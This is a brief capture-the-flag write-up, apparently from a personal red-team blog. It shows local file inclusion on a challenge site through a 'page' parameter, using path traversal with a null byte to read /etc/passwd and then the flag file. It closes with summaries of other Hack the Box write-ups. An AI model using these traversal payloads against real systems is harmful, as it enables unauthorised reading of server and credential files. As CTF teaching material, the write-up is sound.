tsustyle

Aspiring Red Team

Bite

less than 1 minute read

img

img

When clicking on one of the reference links, the url changes:

jh2i.com:50010/?page=bit

Looks to be pulling the page from the server. Check for LFI

img

No dice there. Let’s append a null byte and see what happens

http://jh2i.com:50010/?page=../../../etc/passwd%00

img

There we go

http://jh2i.com:50010/?page=../../../flag.txt%00

img

You may also enjoy

THM Challenge

 

‘THM Challenge’ is a WebApp that I wrote to send along with my CV to TryHackMe when they were recruiting Content Engineers

Granny & Grandpa

 

Granny & Grandpa are a pair of identical easy rated boxes on Hack the Box. We’ll use metasploit to exploit a buffer overflow in IIS 6.0/WebDav for access and a kernel exploit for privesc

Optimum

 

‘Optimum’ is an easy rated box on Hack the Box. We’ll exploit a vulnerable version of HttpFileServer for access and use Windows Exploit Suggester to find a kernel exploit for privesc

Bashed

 

‘Bashed’ is an easy rated box on Hack the Box. We’ll use gobuster to uncover some hidden directories on a webserver, use a custom bash/php client to gain a shell and exploit a script being run as a cronjob for root